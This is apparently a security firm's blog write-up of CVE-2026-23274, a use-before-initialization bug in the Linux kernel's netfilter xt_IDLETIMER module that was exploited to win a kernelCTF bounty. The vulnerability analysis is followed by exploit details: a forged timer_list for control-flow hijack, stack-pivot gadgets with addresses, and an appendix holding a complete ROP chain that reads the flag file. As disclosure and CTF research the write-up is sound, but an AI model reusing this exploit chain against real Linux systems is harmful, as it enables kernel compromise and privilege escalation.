Overview

From a Netfilter Bug to kernelCTF: Exploiting CVE-2026-23274 in the Linux Kernel and winning a $10500 Bounty

Nebusec
April 14, 2026
18 min read

Over the past few months, we have been building a new LLM-based security research pipeline that includes automated vulnerability discovery, PoC validation, and exploit generation. This pipeline has already found more than 300 bugs in the Linux kernel, as well as several high-risk zero-day vulnerabilities in the Google Chrome V8 JavaScript engine, leading to multiple kernelCTF wins and more than $100,000 in bug bounties. You can find the full list of bugs here. We have followed the responsible disclosure process, and we will publish more details in the future.

In March, our pipeline discovered a critical vulnerability in the Linux kernel’s netfilter subsystem. We exploited this vulnerability and earned $10,050 through Google kernelCTF. In this post, we walk through the technical details of the vulnerability and the exploit.

Vulnerability Summary

In net/netfilter/xt_IDLETIMER.c, when a label is first created by rev1 with XT_IDLETIMER_ALARM enabled and is later reused from revision 0, the kernel can invoke mod_timer() on uninitialized memory. This creates a Use-Before-initialization condition and can subsequently lead to control-flow hijacking if the uninitialized memory is attacker-controlled.

Specifically, rev0 idletimer_tg_checkentry() reuses an existing object by label and unconditionally calls mod_timer(&info->timer->timer, ...). Rev1 can create an object with timer_type = XT_IDLETIMER_ALARM. In that case, idletimer_tg_create_v1() initializes the alarm backend and never calls timer_setup() for info->timer->timer. As a result, if a rev1 ALARM rule is created first and a rev0 rule later reuses the same label, rev0 touches a struct timer_list that was never initialized.

Vulnerability Analysis

This bug was introduced in Linux kernel v5.7-rc1. Commit 68983a354a65 ("netfilter: xtables: Add snapshot of hardidletimer target") introduced rev1 idletimer_tg_checkentry_v1() and also added a type-confusion check there.

if (info->timer->timer_type != info->timer_type) {
pr_debug("Adding/Replacing rule with same label and different timer type is not allowed\n");
mutex_unlock(&list_mutex);
return -EINVAL;
}

However, the rev0 path in idletimer_tg_checkentry() still lacks a type-confusion check. As a result, this bug can be triggered by first creating a rev1 ALARM rule and then creating a rev0 rule with the same label, but not the other way around.

In the newly added idletimer_tg_create_v1(), if timer_type & XT_IDLETIMER_ALARM, the function calls only alarm_init() and alarm_start_relative(), but does not call timer_setup() for info->timer->timer:

if (info->timer->timer_type & XT_IDLETIMER_ALARM) {
ktime_t tout;
alarm_init(&info->timer->alarm, ALARM_BOOTTIME,
idletimer_tg_alarmproc);
info->timer->alarm.data = info->timer;
tout = ktime_set(info->timeout, 0);
alarm_start_relative(&info->timer->alarm, tout);
} else {
timer_setup(&info->timer->timer, idletimer_tg_expired, 0); // leaves timer uninitialized if timer_type is ALARM
mod_timer(&info->timer->timer,
msecs_to_jiffies(info->timeout * 1000) + jiffies);
}

Later, rev0’s idletimer_tg_checkentry() can fetch the timer created by rev1 because __idletimer_tg_find_by_label() uses the same global idletimer_tg_list. It then unconditionally calls mod_timer(&info->timer->timer, ...), triggering the Use-Before-Initialization bug.

info->timer = __idletimer_tg_find_by_label(info->label);
if (info->timer) {
info->timer->refcnt++;
mod_timer(&info->timer->timer,
msecs_to_jiffies(info->timeout * 1000) + jiffies); // UBI to CFH
pr_debug("increased refcnt of timer %s to %u\n",
info->label, info->timer->refcnt);
}

Our team patched the bug in v7.0-rc4 after the kernelCTF submission.

Exploit

Exploit Summary

  • Prefetch → Kernel base address leak
  • CVE-2026-23274 → Uninitialized use in mod_timer(); leaving a payload in kmalloc-256 escalates this to control flow hijack directly
  • NPerm → Place fake stack for ROP chain
  • ROP → After control flow hijacking, pivot to the stack and execute ROP in softirq to read the flag directly.

Exploit Details

From Uninitialized Use to Control Flow Hijack

Because mod_timer() operates on the uninitialized info->timer->timer field, and the containing idletimer_tg object is allocated with kmalloc(sizeof(*info->timer), GFP_KERNEL), we can control the contents of the uninitialized timer_list timer by reusing a freed kmalloc-256 chunk.

In rev1, the alarm field in struct idletimer_tg is initialized but not the timer field.

The standalone timer_list timer is then used by mod_timer(). It contains the callback function pointer function:

struct idletimer_tg {
struct list_head entry;
struct alarm alarm;
struct timer_list timer;
struct work_struct work;
struct kobject *kobj;
struct device_attribute attr;
unsigned int refcnt;
u8 timer_type;
};
struct timer_list {
struct hlist_node entry;
unsigned long expires;
void (*function)(struct timer_list *);
u32 flags;
};

In __mod_timer():

int mod_timer(struct timer_list *timer, unsigned long expires)
{
return __mod_timer(timer, expires, 0);
}
static inline int
__mod_timer(struct timer_list *timer, unsigned long expires, unsigned int options)
{
unsigned int idx = UINT_MAX;
...
debug_assert_init(timer);
if (!(options & MOD_TIMER_NOTPENDING) && timer_pending(timer)) {
... // We avoid this branch by controlling entry.pprev so timer_pending(timer) returns false.
} else {
base = lock_timer_base(timer, &flags); // Set timer->flags to 0 to avoid an infinite loop here.
if (!timer->function)
goto out_unlock;
forward_timer_base(base);
}
...
debug_timer_activate(timer);
timer->expires = expires;
if (idx != UINT_MAX && clk == base->clk) // Not taken
enqueue_timer(base, timer, idx, bucket_expiry);
else
internal_add_timer(base, timer); // Will give us CFH later by setting timer->function
out_unlock:
raw_spin_unlock_irqrestore(&base->lock, flags);
return ret;
}

To pass the timer_pending() check, we simply need to set entry.pprev to 0:

struct hlist_node {
struct hlist_node *next, **pprev;
};
static inline int timer_pending(const struct timer_list * timer)
{
return !hlist_unhashed_lockless(&timer->entry);
}
static inline int hlist_unhashed_lockless(const struct hlist_node *h)
{
return !READ_ONCE(h->pprev);
}

And also set timer->flags to 0 to avoid an infinite loop in lock_timer_base():

static struct timer_base *lock_timer_base(struct timer_list *timer,
unsigned long *flags)
__acquires(timer->base->lock)
{
for (;;) {
struct timer_base *base;
u32 tf;
tf = READ_ONCE(timer->flags);
if (!(tf & TIMER_MIGRATING)) { // must enter this branch to avoid an infinite loop
base = get_timer_base(tf);
raw_spin_lock_irqsave(&base->lock, *flags);
if (timer->flags == tf)
return base;
raw_spin_unlock_irqrestore(&base->lock, *flags);
}
cpu_relax();
}
}

After one second, the callback in our forged timer_list executes in softirq context, giving us an arb_function(EVIL_TIMER_LIST) primitive.

Stack Pivot after Control Flow Hijack

We discuss why we did not use Ret2BPFJIT in the “Additional Notes” section.

Because the UBI timer_list is rewritten in __mod_timer(), we can directly control only the function pointer, not the arguments.

At that point, RDI and R13 point to the overwritten timer_list, which is part of idletimer_tg in kmalloc-256. If we spray data with user_keypayload into the adjacent chunk, we can control roughly {RDI, R13}:[0x90-0x170] (or the negative offset) as our payload.

(We failed to use builder.AddPayload(payload, Register::{RDI, R13}, [0x90-0x170]); in libxdk, so we turned to our own gadgets.)

We therefore used the following gadgets, which exist in both cos-113-18244.582.2 and cos-113-18244.582.40.

The first-stage gadget controlled RDI and RIP at the same time. To store the fake stack frame, we used NPerm from @kylebot and @n132 in CVE-2025-38477 to place the new stack at a chosen address.

Because the ROP chain is extremely long, we still needed NPerm to create a larger fake stack frame, even though cpu_entry_area was not randomized before Linux 6.2.

The second gadget controlled RDX and RIP at the same time, and also set RBX to a valid address so the final stack-pivot gadget would not crash.
At this point, RDX == RDI == the address of the NPerm fake stack frame.

Finally, the third gadget pivoted RSP from RDX and began ROP execution.

// --- initial stack pivot gadgets ---
// In short, the stack pivot is:
// 1. control PC, the rdi/r13 + 0x90 is a controllable user_keypayload range.
// 2. control PC and rdx, the rbx = rdi is a controllable nperm range.
// 3. control PC and rsp = rdx, we can now start ROP. Writing to [rbx] will not crash.
size_t timer_stage1_callback = 0xffffffff81313849;
// timer_stage1_callback: mov rdi, [r13+0xc8]; mov rax, [r13+0xc0]; mov rsi, r12; call rax;
// mov r.{1,4}, \[r[d1][i13]\+0x[9-f][0-f]\].*?mov r.{1,4}, \[r[d1][i13]\+0x[9-f][0-f]\].*?
// This is the first CFH; we use timer_stage1_callback to control rdi and rip at the same time
// rdi and rip are fetched from the next slot, currently we use user_keypayload to place pointer there
size_t nperm_stage1_dispatch = 0xffffffff810643b9;
// nperm_stage1_dispatch:
// mov rbx, rdi; sub rsp, 0x20; movzx r12d, byte ptr [rdi+0x7a];
// mov rdx, [rdi+0xc0]; mov rax, gs:[0x28]; mov [rsp+0x18], rax; xor eax, eax;
// mov rax, [rdi+8]; mov esi, r12d; mov rax, [rax+0xa8]; call rax;
// This is mainly for controlling rdx and rip (we will do a stack pivot using rdx in the next gadget).
// This also sets rbx to a valid address so the stack pivoting gadget won't crash.
size_t nperm_stack_pivot = 0xffffffff81db2b0f;
// nperm_stack_pivot: push rdx; add [rcx], dh; rcr byte ptr [rbx+0x5d], 0x41; pop rsp; pop r13; ret;
// This is the final stack pivot

ROP to read the flag

We discuss why we did not use core_pattern in the “Additional Notes” section.

There were several issues to solve because we were ROPing in softirq context. Rather than handle them individually, we chose to use a longer ROP chain. NPerm gave us a maximum payload size of 512*8 bytes.

We then used the ROP chain to directly read the flag and print it to the kernel log:

  • Prepare a fake work_struct in a stable writable kernel region. This object is loaded by rpc_prepare_task+5 as a second controlled object and transfers control into a second pivot sequence. This lets us leave the timer softirq path as early as possible and move the final logic into process context.

  • Use another attacker-controlled writable kernel region, populated via an arbitrary write during ROP, to hold both the pivot metadata and the final ROP stack. The metadata provides the pop rsp target used by the indirect branch from the fake work item. The stack then writes /flag, a printk format string visible to a low-level attacker, a read position, and a read buffer into writable kernel memory. With those arguments in place, the chain performs filp_open, kernel_read, and finally _printk to emit the flag. We did not use an arbitrary write to set dmesg_restrict to 0, but since we were already doing ROP, we could easily have added that if needed.

  • Queue the fake work item onto CPU0 and stop the current CPU. The queued kworker can then run the open-read-printk sequence from process context.

This queueing step is necessary because direct VFS activity from timer softirq context is fragile.

Here is the equivalent of our ROP chain in C-like pseudocode:

struct fake_work_item {
struct work_struct work;
struct fake_rpc_dispatch {
void *stage2_base;
void *dispatch_target_slot;
} dispatch;
};
struct flag_read_context {
char path[16];
char fmt[16];
loff_t pos;
char buf[0x80];
};
static void stage2_behavior(struct flag_read_context *ctx) {
struct file *fp;
fp = filp_open(ctx->path, O_NOATIME, 0);
kernel_read(fp, ctx->buf, sizeof(ctx->buf), &ctx->pos);
_printk(ctx->fmt, ctx->buf);
for (;;)
cpu_relax();
}
static void semantic_rop_behavior(void *work_base, void *pivot_base) {
struct flag_read_context *ctx = pivot_base + 0x98;
// prepare stage2 context
strcpy(ctx->path, "/flag");
strcpy(ctx->fmt, "\001%s\n"); // make it readable to a very low-level attacker
ctx->pos = 0;
memset(ctx->buf, 0, sizeof(ctx->buf));
// stage1 behavior, prepare fake work
struct fake_work_item *item = work_base; // any rw kernel address
item->work.data = WORK_STRUCT_PENDING_BITS;
item->work.entry.next = &item->work.entry;
item->work.entry.prev = &item->work.entry;
item->work.func = (work_func_t)rpc_prepare_task_plus_5;
item->dispatch.stage2_base = pivot_base;
item->dispatch.dispatch_target_slot = &((char *)pivot_base)[0x66];
*(void **)item->dispatch.dispatch_target_slot = pop_rsp_pop_r13_ret;
queue_work_on(0, system_wq, &item->work);
stop_this_cpu();
// The real exploit forges enough metadata so that rpc_prepare_task+5 pivots into a stack whose
// effect is equivalent to calling stage2_behavior(ctx) from kworker process context.
}

The full ROP chain can be found in appendix.

Overall, the ROP plan is: use the timer corruption to reach NPerm-backed stack control, use that control to build and queue fake work, and let the queued kworker execute the final file-read-and-print sequence in process context.

Additional Notes

Why not use Ret2BPFJIT

Although kernelCTF now enables bpf_jit_harden by default, attackers can still spray a “kernel one gadget” with unpoisoned instructions and gain root, as shown in the CVE-2025-21700 exploit.

However, their 100% success-rate solution appears to rely on certain registers pointing to a valid address as a side effect of their nop sled.
Those register constraints were not satisfied in our case, and we did not try to adapt or replace the nop sled to make their solution work. As a result, the “kernel one gadget” approach was not viable for us.

Why use ROP to read the flag

Because our corrupted timer_list executed in softirq context, we could not use normal COMMIT_CREDS_RETURN_USER ROP to gain a root shell, nor could we use tricks like telefork.

For the common LPE and container escape technique based on core_pattern, we also could not reliably trigger the usermode helper for the following reasons:

  • During the stack pivot, we overwrite some callee-saved registers that would be needed to return cleanly from softirq context, mainly for unlocking and related cleanup. We therefore halted the core by calling msleep in softirq context because we had two cores available.
  • The core dump queues the UMH if core_pattern[0] == '|', and then waits for the dumped process group to exit. That means it queues the actual call_usermodehelper(OUR_LPE_PAYLOAD) request instead of executing it directly.
  • In our case, the queued request always went to the halted core. As a result, our payload kept being queued but never executed.

We therefore moved to manually queue a read-flag work item onto another core before halting the first core.
The resulting ROP chain is relatively long, and several required gadgets cannot currently be generated by libxdk.

Appendix

Full ROP payload:

size_t nperm_addr = 0xffffffff84697000;
size_t kaslr_off;
void nperm(){
size_t ctx[0x200] = {};
size_t ct = 0 ;
size_t nperm_stack_pivot = kaslr_off + 0xffffffff81db2b0f;
size_t pop_rax_pop_rdx_ret = kaslr_off + 0xffffffff812a0d4c;
size_t write_qword_rax_plus_c0_rdx_ret = kaslr_off + 0xffffffff811ff6c5;
size_t rpc_prepare_task_dispatch = kaslr_off + 0xffffffff822248b5;
size_t push_rsi_jmp_qword_ptr_rsi_plus_0x66 =
kaslr_off + 0xffffffff81c6d191;
size_t pop_rsp_pop_r13_ret = kaslr_off + 0xffffffff81002148;
size_t add_rsp_0x88_ret = kaslr_off + 0xffffffff81240dbd;
size_t pop_rsi_ret = kaslr_off + 0xffffffff81b083be;
size_t pop_rdx_pop_rdi_ret = kaslr_off + 0xffffffff819376ab;
size_t pop_rsi_pop_rdi_ret = kaslr_off + 0xffffffff81afda91;
size_t pop_rsi_pop_rdx_pop_rcx_ret = kaslr_off + 0xffffffff810e0e4a;
size_t filp_open = kaslr_off + 0xffffffff8143a420;
size_t mov_rdi_rax_ret = kaslr_off + 0xffffffff8126317d;
size_t kernel_read = kaslr_off + 0xffffffff8143cf10;
size_t printk = kaslr_off + 0xffffffff8120f4b0;
size_t execute_in_process_context_queue = kaslr_off + 0xffffffff811c87f8;
size_t stop_this_cpu = kaslr_off + 0xffffffff810fe7c0;
size_t jmp_self = kaslr_off + 0xffffffff81000649;
size_t work_base = 0xffffffff84560920;
size_t pivot_base = 0xffffffff84560a20;
size_t path_ptr = 0xffffffff84560e20;
size_t fmt_ptr = 0xffffffff84560e30;
size_t pos_ptr = 0xffffffff84560e40;
size_t buf_ptr = 0xffffffff84560e60;
size_t work_slot_base = work_base - 0xc0;
size_t pivot_slot_base = pivot_base - 0xc0;
size_t final_stage_slot_base = pivot_base + 0x98 - 0xc0;
size_t fake_work_list = work_base + 0x08;
size_t pivot_indirect_window = pivot_slot_base + 0x60;
size_t path_storage_slot = path_ptr - 0xc0;
size_t fmt_storage_slot = fmt_ptr - 0xc0;
size_t pos_storage_slot = pos_ptr - 0xc0;
size_t fake_work_data = 0x0000000fffffffe0;
size_t file_open_flags = 0x0000000000040000;
size_t read_count = 0x0000000000000080;
size_t flag_string = 0x00000067616c662f;
size_t fmt_lo = 0x253a47414c463001;
size_t fmt_hi = 0x0000000000000a73;
ctx[1] = kaslr_off + nperm_addr - 0xa8 + 16; // +0xa8=nperm[2]
ctx[2] = nperm_stack_pivot; // rax = New PC
// 0xffffffff81db2b0f: push rdx; add [rcx], dh; rcr byte ptr [rbx+0x5d], 0x41; pop rsp; pop r13; ret;
// rsp = rdx = Nprem[24]
ctx[24] = kaslr_off + nperm_addr + 8 * 25;
// r13 = Nprem[25]
// PC = Nprem[26]
/*
* Real full ROP chain.
*
* Fixed writable kernel staging layout (no-KASLR addresses; runtime code
* adds kaslr_off to code pointers only):
*
* 0xffffffff84560920 WORK_BASE : fake work_struct + rpc_prepare_task slots
* 0xffffffff84560a20 PIVOT_BASE : process-context pivot metadata + final ROP stack
* 0xffffffff84560e20 PATH_PTR : "/flag"
* 0xffffffff84560e30 FMT_PTR : "\x010FLAG:%s\n"
* 0xffffffff84560e40 POS_PTR : loff_t position for kernel_read()
* 0xffffffff84560e60 BUF_PTR : kernel_read() output buffer
*
* The odd 0xffffffff845608xx / 0xffffffff845609xx constants below are
* "target - 0xc0" because the write gadget is:
*
* 0xffffffff811ff6c5: mov qword ptr [rax + 0xc0], rdx ; ret
*
* Early slot map:
*
* 0xffffffff84560860 -> WORK_BASE+0x00 : fake work_struct.data
* 0xffffffff84560868 -> WORK_BASE+0x08 : fake work.entry.next
* 0xffffffff84560870 -> WORK_BASE+0x10 : fake work.entry.prev
* 0xffffffff84560878 -> WORK_BASE+0x18 : fake work.func / stage1 dispatcher
* 0xffffffff84560880 -> WORK_BASE+0x20 : cleared padding
* 0xffffffff845608f0 -> WORK_BASE+0x90 : stage2 RSI base
* 0xffffffff845608f8 -> WORK_BASE+0x98 : pointer to dispatch target slot
* 0xffffffff84560900 -> WORK_BASE+0xa0 : dispatch target contents
* 0xffffffff84560960 -> PIVOT_BASE+0x00 : pop-rsp chain head
* 0xffffffff845609c6 -> PIVOT_BASE+0x66 : indirect jump slot for pop rsp
*
* Gadget summary used below:
*
* 0xffffffff812a0d4c: pop rax ; pop rdx ; ret
* 0xffffffff811ff6c5: mov qword ptr [rax + 0xc0], rdx ; ret
* 0xffffffff822248b5: rpc_prepare_task+5:
* mov rax,[rdi+0x98]; mov rsi,[rdi+0x90];
* mov rax,[rax]; jmp __x86_indirect_thunk_array
* 0xffffffff81c6d191: push rsi ; jmp qword ptr [rsi+0x66]
* 0xffffffff81002148: pop rsp ; pop r13 ; ret
* 0xffffffff81240dbd: add rsp, 0x88 ; ret
* 0xffffffff8143a420: filp_open
* 0xffffffff8126317d: mov rdi, rax ; ret
* 0xffffffff8143cf10: kernel_read
* 0xffffffff8120f4b0: _printk
* 0xffffffff811c87f8: execute_in_process_context+0x48:
* mov rsi,rdx; load system_wq; call queue_work_on
* 0xffffffff810fe7c0: stop_this_cpu
*/
int rop = 26;
// Build fake work_struct and rpc_prepare_task slots under WORK_BASE.
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = work_slot_base + 0x00;
ctx[rop++] = fake_work_data;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = work_slot_base + 0x08;
ctx[rop++] = fake_work_list;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = work_slot_base + 0x10;
ctx[rop++] = fake_work_list;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = work_slot_base + 0x18;
ctx[rop++] = rpc_prepare_task_dispatch;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = work_slot_base + 0x20;
ctx[rop++] = 0x0;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
// Seed stage2 dispatcher object:
// WORK_BASE+0x90 -> RSI base for rpc_prepare_task+5
// WORK_BASE+0x98 -> pointer to slot holding final jump target
// WORK_BASE+0xa0 -> target gadget for the RSI-based pivot
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = work_slot_base + 0x90;
ctx[rop++] = pivot_base;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = work_slot_base + 0x98;
ctx[rop++] = pivot_indirect_window;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = work_slot_base + 0xa0;
ctx[rop++] = push_rsi_jmp_qword_ptr_rsi_plus_0x66;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
// Lay out the process-context pivot metadata at PIVOT_BASE.
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = pivot_slot_base + 0x00;
ctx[rop++] = 0x0;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = pivot_slot_base + 0x08;
ctx[rop++] = add_rsp_0x88_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = pivot_slot_base + 0x60;
ctx[rop++] = 0x0;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = pivot_slot_base + 0x68;
ctx[rop++] = 0x0;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = pivot_slot_base + 0x66;
ctx[rop++] = pop_rsp_pop_r13_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
// Final process-context ROP stack:
// write "/flag"
// write printk fmt
// zero loff_t
// filp_open -> kernel_read -> _printk
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x00;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x08;
ctx[rop++] = path_storage_slot;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x10;
ctx[rop++] = flag_string;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x18;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x20;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x28;
ctx[rop++] = fmt_storage_slot;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x30;
ctx[rop++] = fmt_lo;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x38;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x40;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x48;
ctx[rop++] = fmt_storage_slot + 0x08;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x50;
ctx[rop++] = fmt_hi;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x58;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x60;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x68;
ctx[rop++] = pos_storage_slot;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x70;
ctx[rop++] = 0x0;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x78;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x80;
ctx[rop++] = pop_rsi_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x88;
ctx[rop++] = file_open_flags;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x90;
ctx[rop++] = pop_rdx_pop_rdi_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x98;
ctx[rop++] = 0x0;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0xa0;
ctx[rop++] = path_ptr;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0xa8;
ctx[rop++] = filp_open;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0xb0;
ctx[rop++] = mov_rdi_rax_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0xb8;
ctx[rop++] = pop_rsi_pop_rdx_pop_rcx_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0xc0;
ctx[rop++] = buf_ptr;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0xc8;
ctx[rop++] = read_count;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0xd0;
ctx[rop++] = pos_ptr;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0xd8;
ctx[rop++] = kernel_read;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0xe0;
ctx[rop++] = pop_rsi_pop_rdi_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0xe8;
ctx[rop++] = buf_ptr;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0xf0;
ctx[rop++] = fmt_ptr;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0xf8;
ctx[rop++] = printk;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x100;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x108;
ctx[rop++] = jmp_self;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x110;
ctx[rop++] = 0x0;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
ctx[rop++] = pop_rax_pop_rdx_ret;
ctx[rop++] = final_stage_slot_base + 0x118;
ctx[rop++] = jmp_self;
ctx[rop++] = write_qword_rax_plus_c0_rdx_ret;
// Softirq -> process-context bridge:
// rsi = fake work item
// rdi = CPU0
// execute_in_process_context+0x48 loads system_wq and calls queue_work_on()
// then stop CPU1 so CPU0 can run the queued kworker path
ctx[rop++] = pop_rsi_pop_rdi_ret;
ctx[rop++] = work_base;
ctx[rop++] = 0x0;
ctx[rop++] = execute_in_process_context_queue;
// Queue onto CPU0 and then stop CPU1 without re-enabling interrupts.
ctx[rop++] = pop_rdx_pop_rdi_ret;
ctx[rop++] = 0x0;
ctx[rop++] = 0x0;
ctx[rop++] = stop_this_cpu;
}